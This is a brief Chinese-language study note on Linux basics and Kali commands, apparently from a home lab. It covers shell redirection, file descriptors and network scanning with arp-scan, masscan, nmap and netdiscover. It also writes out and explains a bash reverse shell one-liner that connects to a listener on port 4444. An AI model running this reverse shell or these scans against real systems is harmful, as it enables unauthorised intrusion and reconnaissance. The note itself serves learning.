linux和kali的一些命令


linux

目录解释:

/var/www/html:把文件放入到这个目录下,打开apache2后,可以通过网页访问(而且要启动httpd服务,上网找)

命令解释:

ls -l 文件名:查看文件权限

history:查看历史记录

符合解释:

>:重定向符,将一个东西到另一个(当里面有东西时,就会覆盖)

>> :重定向符,将一个东西到另一个(当有东西是,就会叠加)

0:文件描述符,表示标准输入,对应宏为:STDIN_FILENO

1:文件描述符,表示标准输出,对应宏为:STDOUT_FILENO

2:文件描述符,表示标准出错处理,对应的宏为:STDERR_NO

__________________________________________________________________________________________________

kali

arp-scan -l :可以扫描这个局域网内的其他ip

masscan --rate=1000 -p 0-65535 192.168.44.52 :masscan是这个插件名字,--rate表示指定发包的速率,-p表示指定端口进行扫描(这里指定了0到65535端口),192.168.44.52表示要扫描的ip

nmap -T4 -sV -O -p 445,143,22,8080,80,500,8081,139,443 192.168.44.52:nmap插件名,-T4设置计时模板(越高速度越快),-sV探测打开的端口以确定服务/版本信息,-O启用操作系统检测,-p仅扫描指定的端口,192.168.44.52表示要扫描的ip

bash -i >& /dev/tcp/192.168.44.55/4444 0>&1

bash -i :创建一个交互式的bash 、>&:将输出重定向文件、 /dev/tcp:文件不支持,但是打开该文件相当于发起了socket,建立了一个连接 、/192.168.44.55/4444:表示socke连接的ip和端口、 0>&1:表示标志输入重定向到标志输出,即我们可以远程输入,并且可以得到远程输出

netdiscover -i eth0 -r 192.168.44.0/24

主机发现:netdiscover :表示使用的工具、-i eth0:表示网络接口、-r:扫描范围

nmap 192.168.44.55 --script=http-methods.nse --script-args=http.methods.url-path="/test" 

nmap:使用的插件、192.168.44.55:要进行扫描的ip、--script:指定使用Lua脚本进行扫描、--script-args:指定脚本的参数

扫描/test页面的支持的http方法